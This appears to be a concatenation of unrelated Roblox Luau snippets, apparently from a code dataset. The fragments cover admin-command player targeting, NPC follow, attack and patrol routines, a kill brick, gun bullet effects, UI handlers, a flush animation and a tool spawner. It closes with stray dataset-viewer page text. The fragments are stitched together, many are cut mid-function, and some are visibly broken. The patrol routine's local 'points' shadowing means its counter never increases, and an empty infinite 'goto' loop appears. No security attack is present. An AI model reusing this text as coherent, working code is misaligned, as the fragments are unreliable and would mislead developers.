if count > 0 then
for i, plr in pairs(main.players:GetChildren()) do
if selectedTeams[tostring(plr.TeamColor)] then
targetPlayers[plr] = true
end
end
end
else -- Individual
individual = true
if takeExactIndName then
targetPlayers[q] = true
else
for i, plr in pairs(main.players:GetChildren()) do
local plrName = string.lower(plr.Name)
if string.sub(plrName, 1, #q) == q then
targetPlayers[plr] = true
end
end
end
end
local targetPlayersArray = {}
for plr, _ in pairs(targetPlayers) do
table.insert(targetPlayersArray, plr)
end
return targetPlayers, targetPlayersArray, individual
end
function module:GetTargetPlayers(speaker, args, originalArgs, commandPrefix, commandPrefixes, commandName, individual)
local qArg = args[1]
local targetPlayers = {}
local qBatches = {}
local qUsed = {}
local speakerData = main.pd[speaker]
local qualifierPresent = false
if qArg and type(qArg) ~= "userdata" and type(qArg) ~= "number" then
qualifierPresent = true
end
if not qualifierPresent and commandPrefix == main.settings.UniversalPrefix then
table.insert(args, 1, "me")
qArg = "me"
qualifierPresent = true
end
if qualifierPresent then
qArg:gsub('([^'..settings.QualifierBatchKey..']+)',function(c) table.insert(qBatches, c) end);
table.remove(args, 1)
end
for _, q in pairs(qBatches) do
qUsed[q] = true
targetPlayers = module:ParseQualifier(q, speaker, targetPlayers)
end
--Check if player is selecting more than 1 person and modify based on their rank
local ignoreSingleUse = {["view"] = true, ["handto"] = true;}
if not ignoreSingleUse[commandName] then
local totalPlrs = 0
for plr, _ in pairs(targetPlayers) do
totalPlrs = totalPlrs + 1
end
local onlyMe = true
for i,v in pairs(qBatches) do
if v ~= "me" then
onlyMe = false
end
end
local speakerRankName = main:GetModule("cf"):GetRankName(speakerData.Rank)
if individual and totalPlrs > 0 then
for plr,_ in pairs(targetPlayers) do
return plr
end
elseif speakerData.Rank < 2 and not onlyMe then
main:GetModule("cf"):FormatAndFireError(speaker, "QualifierLimitToSelf", speakerRankName)
targetPlayers = {}
elseif speakerData.Rank < 3 and totalPlrs > 1 then
main:GetModule("cf"):FormatAndFireError(speaker, "QualifierLimitToOnePerson", speakerRankName)
targetPlayers = {}
end
end
--Check Universal Prefix and adjust arguments accordingly
--if commandPrefix == main.settings.UniversalPrefix or (main:GetModule("cf"):FindValue(commandPrefixes, main.settings.UniversalPrefix) and qArg == nil) then
if #originalArgs == 0 then
targetPlayers = {}
targetPlayers[speaker] = true
end
return targetPlayers
end
return module
|
-- have problems with pausing and playing
--
|
music.Name = "Player" -- This determines the name of the source of Audio. Name it whatever you want.
|
--[=[
@class Symbol
Symbols are simply unique objects that can be used as unique identifiers.
]=]
|
local Symbol = {}
Symbol.__index = Symbol
|
--
-- local targetOffsetVector = (lastTargetPos - target)
-- if targetOffsetVector.magnitude < math.huge then
-- targetOffsetVector = (lastTargetPos - target) * Vector3.new(1,0,1)
-- end
|
if targetOffset > TargetOffsetMax then
--if targetOffsetVector.magnitude > TargetOffsetMax then
--print("moveto")
local startPoint = character.HumanoidRootPart.Position
local humanoidState = character.Humanoid:GetState()
if humanoidState == Enum.HumanoidStateType.Jumping or humanoidState == Enum.HumanoidStateType.Freefall then
--print("this")
local ray = Ray.new(character.HumanoidRootPart.Position, Vector3.new(0, -100, 0))
local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character)
if hitPart then
startPoint = hitPoint
end
end
--print("making new path")
local newTarget = target
local ray = Ray.new(target + Vector3.new(0,-3,0), Vector3.new(0, -100, 0))
local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character)
if hitPoint then
if (hitPoint - target).magnitude > 4 then
newTarget = newTarget * Vector3.new(1,0,1) + Vector3.new(0,3,0)
end
end
--local newTarget = Vector3.new(1,0,1) * target + Vector3.new(0, 2, 0)
path = PathfindingService:ComputeSmoothPathAsync(startPoint, newTarget, 500)
if path.Status ~= Enum.PathStatus.Success then
--print(tostring(path.Status))
end
--path = PathfindingService:ComputeRawPathAsync(startPoint, target, 500)
|
--- Alias of Registry:GetStore(...)
|
function Command:GetStore(...)
return self.Dispatcher.Cmdr.Registry:GetStore(...)
end
|
-----------------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------
|
dist=20
function followany()
following=true
while following==true do
local ch=game.Players:children()
for i=1, #ch do
local l=game.Workspace:findFirstChild(ch[i].Name)
if l~=nil then
local s=l.Torso
local p=l.Torso.Position
local q=script.Parent.Torso.Position
local d=math.sqrt( ((p.x-q.x)^2)+((p.y-q.y)^2)+((p.z-q.z)^2) )
if smallest==nil then
smallest=d
target=s
elseif d<smallest then
smallest=d
target=s
end
end
end
if smallest==nil then stopmoving() return end
if smallest>6*dist then return end
script.Parent.Humanoid:MoveTo(target.Position, target)
wait(0.5)
for i=1, 6 do
if target.Parent.Humanoid.Health<1 then stopmoving() else wait(0.5) end
end
end
end
function gohome()
script.Parent.Humanoid:MoveTo(Vector3.new(0,0,0), game.Workspace.Bases.Base)
end
function stopmoving()
script.Parent.Humanoid:MoveTo(script.Parent.Torso.Position, script.Parent.Torso)
end
function follow(name)
following=true
local p=game.Workspace:findFirstChild(name)
if p==nil then return end
while following==true do
script.Parent.Humanoid:MoveTo(p.Torso.Position, p.Torso)
wait(0.5)
for i=1, 3 do
if p.Humanoid.Health<1 then following=false; stopmoving() return end
wait(0.5)
end
end
end
function attack(name)
if script.Parent:findFirstChild("Sword")~=nil then
following=true
local p=game.Workspace:findFirstChild(name)
if p==nil then return end
while following==true do
script.Parent.Humanoid:MoveTo(p.Torso.Position, p.Torso)
wait(0.5)
for i=1, 3 do
if p.Humanoid.Health<1 then following=false; stopmoving() return end
local l=p.Torso.Position
local q=script.Parent.Torso.Position
local d=math.sqrt( ((l.x-q.x)^2)+((l.y-q.y)^2)+((l.z-q.z)^2) )
if d<10 then
script.Parent.Humanoid:MoveTo(p.Torso.Position, p.Torso); slash()
if (q.y-l.y)>3 and (q.y-l.y)<7 then
script.Parent.Humanoid:MoveTo(p.Torso.Position+Vector3.new(math.random(-4,4),0,math.random(-4,4)), p.Torso);
end
end
wait(1)
end
end
end
end
function attackany()
if script.Parent:findFirstChild("Sword")~=nil then
following=true
while following==true do
local ch=game.Players:children()
for i=1, #ch do
local l=game.Workspace:findFirstChild(ch[i].Name)
if l~=nil then
local s=l.Torso
local p=l.Torso.Position
local q=script.Parent.Torso.Position
local d=math.sqrt( ((p.x-q.x)^2)+((p.y-q.y)^2)+((p.z-q.z)^2) )
if smallest==nil then
smallest=d
target=s
elseif d<smallest then
smallest=d
target=s
end
end
end
if smallest==nil then stopmoving() return end
if smallest>6*dist then return end
script.Parent.Humanoid:MoveTo(target.Position, target)
if smallest<10 then
slash()
end
if target.Parent==nil then stopmoving() return end
wait(0.5)
for i=1, 3 do
if target.Parent.Humanoid.Health<1 then
stopmoving()
else
local p=target.Position
local q=script.Parent.Torso.Position
local d=math.sqrt( ((p.x-q.x)^2)+((p.y-q.y)^2)+((p.z-q.z)^2) )
if d<10 then
script.Parent.Humanoid:MoveTo(target.Position, target); slash()
if (q.y-p.y)>3 and (q.y-p.y)<7 then
script.Parent.Humanoid:MoveTo(p.Torso.Position+Vector3.new(math.random(-4,4),0,math.random(-4,4)), p.Torso);
end
end
wait(1)
end
end
end
end
end
function patrol()
if points==nil then
points=0
if game.Workspace:findFirstChild("pp1")~=nil then
pp1=game.Workspace:findFirstChild("pp1")
local points=points+1
if game.Workspace:findFirstChild("pp2")~=nil then
pp2=game.Workspace:findFirstChild("pp2")
local points=points+1
if game.Workspace:findFirstChild("pp3")~=nil then
pp3=game.Workspace:findFirstChild("pp3")
local points=points+1
if game.Workspace:findFirstChild("pp4")~=nil then
pp4=game.Workspace:findFirstChild("pp4")
local points=points+1
if game.Workspace:findFirstChild("pp5")~=nil then
pp5=game.Workspace:findFirstChild("pp5")
local points=points+1
if game.Workspace:findFirstChild("pp6")~=nil then
pp6=game.Workspace:findFirstChild("pp6")
local points=points+1
if game.Workspace:findFirstChild("pp7")~=nil then
pp7=game.Workspace:findFirstChild("pp7")
local points=points+1
if game.Workspace:findFirstChild("pp8")~=nil then
pp8=game.Workspace:findFirstChild("pp8")
local points=points+1
if game.Workspace:findFirstChild("pp9")~=nil then
pp9=game.Workspace:findFirstChild("pp9")
local points=points+1
end
end
end
end
end
end
end
end
end
end
if points<1 then return end
patrolling=true
local time=2
if points==1 then return end
if points>1 then
while patrolling==true do
script.Parent.Humanoid:MoveTo(pp1.Position, pp1)
wait(time)
script.Parent.Humanoid:MoveTo(pp2.Position, pp2)
wait(time)
if points>2 then
script.Parent.Humanoid:MoveTo(pp3.Position, pp3)
wait(time)
if points>3 then
script.Parent.Humanoid:MoveTo(pp4.Position, pp4)
wait(time)
if points>4 then
script.Parent.Humanoid:MoveTo(pp5.Position, pp5)
wait(time)
if points>5 then
script.Parent.Humanoid:MoveTo(pp6.Position, pp6)
wait(time)
if points>6 then
script.Parent.Humanoid:MoveTo(pp7.Position, pp7)
wait(time)
if points>7 then
script.Parent.Humanoid:MoveTo(pp8.Position, pp8)
wait(time)
if points>8 then
script.Parent.Humanoid:MoveTo(pp9.Position, pp9)
wait(time)
end
end
end
end
end
end
end
end
end
end
function goto(pos,part)
while true do
end
end
function slash()
for i=1, 3 do
wait(.3)
RightShoulder.MaxVelocity = 2
LeftShoulder.MaxVelocity = 1
RightShoulder.DesiredAngle = -2.14
LeftShoulder.DesiredAngle = 0
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
wait(.2)
RightShoulder.MaxVelocity = 2
LeftShoulder.MaxVelocity = 1
RightShoulder.DesiredAngle = 0
LeftShoulder.DesiredAngle = 0
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
end
function defence()
proxkill=true
while proxkill==true do
local ch=game.Players:children()
for i=1, #ch do
local p=game.Workspace:findFirstChild(ch[i].Name)
if p~=nil then
local p=p.Torso.Position
local q=script.Parent.Torso.Position
local d=math.sqrt( ((p.x-q.x)^2)+((p.y-q.y)^2)+((p.z-q.z)^2) )
if d<dist and d>8 then
local ex=Instance.new("Explosion")
ex.Position=p
ex.Parent=game.Workspace
end
end
end
wait(1)
end
end
|
-- Colors
|
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor = Color3.new(1, 0, 0)
local NeutralReticleColor = Color3.new(1, 1, 1)
local Spread = MinSpread
local AmmoInClip = ClipSize
local Tool = script.Parent
local Handle = WaitForChild(Tool, 'Handle')
local WeaponGui = nil
local LeftButtonDown
local Reloading = false
local IsShooting = false
|
-- Libraries
|
local Maid = require(script.Parent:WaitForChild 'Maid')
local Support = require(script.Parent:WaitForChild 'SupportLibrary')
|
-- Turns on body orientation. Developer-facing.
|
function BodyOrientation.enable()
if enabled then
return
end
playerRemovingConnection = Players.PlayerRemoving:Connect(onPlayerRemoving)
playerAddedConnection = Players.PlayerAdded:Connect(onPlayerEntered)
for _, player in ipairs(Players:GetChildren()) do
onPlayerEntered(player)
end
enabled = true
end
|
--[=[
Returns a rejected promise with the following values
@param ... Values to reject to
@return Promise<T>
]=]
|
function Promise.rejected(...)
local n = select("#", ...)
if n == 0 then
-- Reuse promise here to save on calls to Promise.rejected()
return _emptyRejectedPromise
end
local promise = Promise.new()
promise:_reject({...}, n)
return promise
end
|
-- useless comment
|
function onTouched(hit)
if not hit or not hit.Parent then return end
local human = hit.Parent:findFirstChild("Humanoid")
if human and human:IsA("Humanoid") then
human:TakeDamage(999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999)
end
end
script.Parent.Touched:connect(onTouched)
|
--Tickets
|
tix1.MouseEnter:connect(function()
tix1.BorderColor3 = Color3.new(200/255,0,0)
end)
tix1.MouseLeave:connect(function()
tix1.BorderColor3 = Color3.new(0,0,0)
end)
tix2.MouseEnter:connect(function()
tix2.BorderColor3 = Color3.new(200/255,0,0)
end)
tix2.MouseLeave:connect(function()
tix2.BorderColor3 = Color3.new(0,0,0)
end)
tix3.MouseEnter:connect(function()
tix3.BorderColor3 = Color3.new(200/255,0,0)
end)
tix3.MouseLeave:connect(function()
tix3.BorderColor3 = Color3.new(0,0,0)
end)
|
--r = game:service("RunService")
--t, s = r.Stepped:wait()
--d = t + 8.0 - s
--while t < d do
-- t = r.Stepped:wait()
--end
--while ball.Parent~=nil do
|
--wait(math.random(10,20)/100)
--wait()
--magnitude = (ball.Position-ball.TargetPredictedPosition.Value).Magnitude
--if ball.Position.Y-2>highestpos then
-- highestpos=ball.Position.Y-2
--end
--if highestpos>ball.Position.Y and ball.Position.Y>firedheight then
-- explode()
--end
--explodetimer=explodetimer+1
--if explodetimer >= 30 then
-- explode()
--end
--if ball.Position.Y<firedheight and ball.Position.Y<ball.Target.Value.Position.Y then
-- explode()
--end
--if magnitude<math.random(18,72) then
-- explode()
--end
--if ((firedpos-ball.Position).Magnitude>(firedpos-ball.TargetPredictedPosition.Value).Magnitude+math.random(-200,-20)) then
-- explode()
--end
|
--[[Weight Scaling]]--
--[[Cubic stud : pounds ratio]]
|
--
Tune.WeightScaling = 1/130 --Default = 1/130 (1 cubic stud = 130 lbs)
return Tune
|
--MainScriptValues
|
local Buttons = script.Parent.Buttons
local Button1Add = Object.Digit1Panel.AddButton
local Button1Sub = Object.Digit1Panel.SubtractButton
local Button2Add = Object.Digit2Panel.AddButton
local Button2Sub = Object.Digit2Panel.SubtractButton
local Button3Add = Object.Digit3Panel.AddButton
local Button3Sub = Object.Digit3Panel.SubtractButton
local Color = Color3.fromRGB(0, 255, 0)
local Screen1 = Object.Digit1Panel.Screen
local AddButton1 = Buttons.Button1
local Screen2 = Object.Digit2Panel.Screen
local AddButton2 = Buttons.Button2
local Screen3 = Object.Digit3Panel.Screen
local AddButton3 = Buttons.Button3
local Size = Vector3.new(0.175, 1, 1)
local Material = "Metal"
|
-- Libraries
|
RbxUtility = LoadLibrary 'RbxUtility';
Support = require(Tool.SupportLibrary);
Security = require(Tool.SecurityModule);
RegionModule = require(Tool['Region by AxisAngle']);
Serialization = require(Tool.SerializationModule);
Create = RbxUtility.Create;
CreateSignal = RbxUtility.CreateSignal;
|
--[MAIN FUNCTION]--
|
local function onButtonPressed()
local success, result = pcall(
function()
return SocialService:CanSendGameInviteAsync(Player)
end
)
if result == true then
SocialService:PromptGameInvite(Player)
end
end
icon.selected:Connect(function()
onButtonPressed()
end)
|
--//wipers
|
local wpr = Instance.new("Motor", script.Parent.Parent.Misc.WPR.SS)
wpr.MaxVelocity = 0.05
wpr.Part0 = script.Parent.WPR
wpr.Part1 = wpr.Parent
local wpr2 = Instance.new("Motor", script.Parent.Parent.Misc.WPR2.SS)
wpr2.MaxVelocity = 0.05
wpr2.Part0 = script.Parent.WPR2
wpr2.Part1 = wpr2.Parent
|
--[[ Roblox Services ]]
|
--
local UserInputService = game:GetService("UserInputService")
local ContextActionService = game:GetService("ContextActionService")
|
-- << FUNCTIONS >>
|
function module:CoreGUIsChanged()
if main.topbarEnabled then
--TopBar Icon Position
local enabledCount = 1
if main.starterGui:GetCoreGuiEnabled("Chat") and main.device ~= "Console" then
--[[if main.device == "Mobile" then
enabledCount = enabledCount + 2
else
enabledCount = enabledCount + 1
end--]]
enabledCount = enabledCount + 1
end
if main.starterGui:GetCoreGuiEnabled("Backpack") then
enabledCount = enabledCount + 1
end
if main.starterGui:GetCoreGuiEnabled("EmotesMenu") and main.humanoidRigType == Enum.HumanoidRigType.R15 then
enabledCount = enabledCount + 1
end
imageButton.Position = UDim2.new(0,50*enabledCount,0.1,0)
--TopBar Transparency
main.playerGui:SetTopbarTransparency(1)
end
end
|
----- hot tap handler -----
|
hotTap.Interactive.ClickDetector.MouseClick:Connect(function()
if hotOn.Value == false then
hotOn.Value = true
faucet.ParticleEmitter.Enabled = true
waterSound:Play()
hotTap:SetPrimaryPartCFrame(hotTap.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(85), 0))
else
hotOn.Value = false
if coldOn.Value == false then
faucet.ParticleEmitter.Enabled = false
waterSound:Stop()
end
hotTap:SetPrimaryPartCFrame(hotTap.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(-85), 0))
end
end)
|
--W8 = script.Parent.WaterSwirl8.ParticleEmitter
--Clicks = script.Parent.Motorz.Sound
--script.Parent.Pushed.Disabled = true
--Clicks:Play()
--wait(2.25)
|
script.Parent.Urinal.Flushes:Play()
wait(0.98)
W1.Enabled = true
W2.Enabled = true
W3.Enabled = true
W4.Enabled = true
W5.Enabled = true
W6.Enabled = true
W7.Enabled = true
wait(0.95)
A1.Enabled = true
A2.Enabled = true
A3.Enabled = true
A4.Enabled = true
A5.Enabled = true
|
-- Gathers up all the scripts in the DevModule. We use the resulting array to
-- enable all scripts in one step.
|
local function getDevModuleScripts(devModule: Folder)
local scripts = {}
for _, descendant in ipairs(devModule:GetDescendants()) do
if descendant.Parent == devModule then
continue
end
if descendant:IsA("Script") or descendant:IsA("LocalScript") then
table.insert(scripts, descendant)
end
end
return scripts
end
|
--------------------[ TEXTURE CREATION FUNCTIONS ]------------------------------------
|
function CreateBullet(Direction)
local Origin = Gun.Main.CFrame.p
local BulletMass = S.BulletSize.X * S.BulletSize.Y * S.BulletSize.Z
local BulletCF = CF(Origin, Origin + Direction)
local Bullet = Instance.new("Part")
Bullet.BrickColor = S.BulletColor
Bullet.Name = "Bullet"
Bullet.CanCollide = false
Bullet.FormFactor = "Custom"
Bullet.Size = S.BulletSize
Bullet.BottomSurface = "Smooth"
Bullet.TopSurface = "Smooth"
local Mesh = Instance.new("BlockMesh")
Mesh.Scale = S.BulletMeshSize
Mesh.Parent = Bullet
local BF = Instance.new("BodyForce")
BF.force = VEC3(0, BulletMass * (196.2 - S.BulletDropPerSecond), 0)
BF.Parent = Bullet
Bullet.Parent = Gun_Ignore
Bullet.CFrame = BulletCF + Direction * 3
Bullet.Velocity = Direction * S.BulletVelocity
return Bullet
end
function CreateBulletHole(HitPos, HitObj)
local SurfaceCF = GetHitSurfaceCFrame(HitPos, HitObj)
local SurfaceDir = CF(HitObj.CFrame.p, SurfaceCF.p)
local SurfaceDist = SurfaceDir.lookVector * (HitObj.CFrame.p - SurfaceCF.p).magnitude / 2
local SurfaceOffset = HitPos - SurfaceCF.p + SurfaceDist
local SurfaceCFrame = SurfaceDir + SurfaceDist + SurfaceOffset
local HitMark = Instance.new("Part")
HitMark.BrickColor = BrickColor.new("Black")
HitMark.Transparency = 1
HitMark.Anchored = true
HitMark.CanCollide = false
HitMark.FormFactor = "Custom"
HitMark.Size = VEC3(1, 1, 0.2)
HitMark.TopSurface = 0
HitMark.BottomSurface = 0
local Mesh = Instance.new("BlockMesh")
Mesh.Offset = VEC3(0, 0, -0.05)
Mesh.Scale = VEC3(S.BulletHoleSize, S.BulletHoleSize, 0)
Mesh.Parent = HitMark
local Decal = Instance.new("Decal")
Decal.Face = Enum.NormalId.Front
Decal.Texture = S.BulletHoleTexture
Decal.Parent = HitMark
HitMark.Parent = Gun_Ignore
HitMark.CFrame = SurfaceCFrame
if (not HitObj.Anchored) then
local Weld = Instance.new("Weld", HitMark)
Weld.Part0 = HitObj
Weld.Part1 = HitMark
Weld.C0 = HitObj.CFrame:toObjectSpace(SurfaceCFrame)
HitMark.Anchored = false
end
delay(S.BulletHoleVisibleTime, function()
if S.BulletHoleDisappearTime > 0 then
local X = 0
while true do
if X == 90 then break end
if (not Selected) then break end
local NewX = X + (1.5 / S.BulletHoleDisappearTime)
X = (NewX > 90 and 90 or NewX)
local Alpha = X / 90
Decal.Transparency = NumLerp(0, 1, Alpha)
RS:wait()
end
HitMark:Destroy()
else
HitMark:Destroy()
end
end)
end
function CreateShockwave(Center, Radius)
local Shockwave = Instance.new("Part")
Shockwave.BrickColor = S.ShockwaveColor
Shockwave.Material = Enum.Material.SmoothPlastic
Shockwave.Name = "Shockwave"
Shockwave.Anchored = true
Shockwave.CanCollide = false
Shockwave.FormFactor = Enum.FormFactor.Symmetric
Shockwave.Size = VEC3(1, 1, 1)
Shockwave.BottomSurface = Enum.SurfaceType.Smooth
Shockwave.TopSurface = Enum.SurfaceType.Smooth
local Mesh = Instance.new("SpecialMesh")
Mesh.MeshType = Enum.MeshType.Sphere
Mesh.Scale = VEC3()
Mesh.Parent = Shockwave
Shockwave.Parent = Gun_Ignore
Shockwave.CFrame = CF(Center)
spawn(function()
for i = 0, 1, (1 / (60 * S.ShockwaveDuration)) do
local Scale = 2 * Radius * i
Mesh.Scale = VEC3(Scale, Scale, Scale)
Shockwave.Transparency = i
RS:wait()
end
Shockwave:Destroy()
end)
end
|
-- See if I have a tool
|
local spawner = script.Parent
local tool = nil
local region = Region3.new(Vector3.new(spawner.Position.X - spawner.Size.X/2, spawner.Position.Y + spawner.Size.Y/2, spawner.Position.Z - spawner.Size.Z/2),
Vector3.new(spawner.Position.X + spawner.Size.X/2, spawner.Position.Y + 4, spawner.Position.Z + spawner.Size.Z/2))
local parts = game.Workspace:FindPartsInRegion3(region)
for _, part in pairs(parts) do
if part and part.Parent and part.Parent:IsA("Tool") then
tool = part.Parent
break
end
end
local configTable = spawner.Configurations
local configs = {}
local function loadConfig(configName, defaultValue)
if configTable:FindFirstChild(configName) then
configs[configName] = configTable:FindFirstChild(configName).Value
else
configs[configName] = defaultValue
end
end
loadConfig("SpawnCooldown", 5)
if tool then
tool.Parent = game.ServerStorage
while true do
-- put tool on pad
local toolCopy = tool:Clone()
local handle = toolCopy:FindFirstChild("Handle")
toolCopy.Parent = game.Workspace
local toolOnPad = true
local parentConnection
parentConnection = toolCopy.AncestryChanged:connect(function()
if handle then handle.Anchored = false end
toolOnPad = false
parentConnection:disconnect()
end)
if handle then
handle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0)
handle.Anchored = true
end
-- wait for tool to be removed
while toolOnPad do
if handle then
handle.CFrame = handle.CFrame * CFrame.Angles(0,0,math.pi/60)
end
wait(10)
end
-- wait for cooldown
wait(configs["SpawnCooldown"])
end
end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.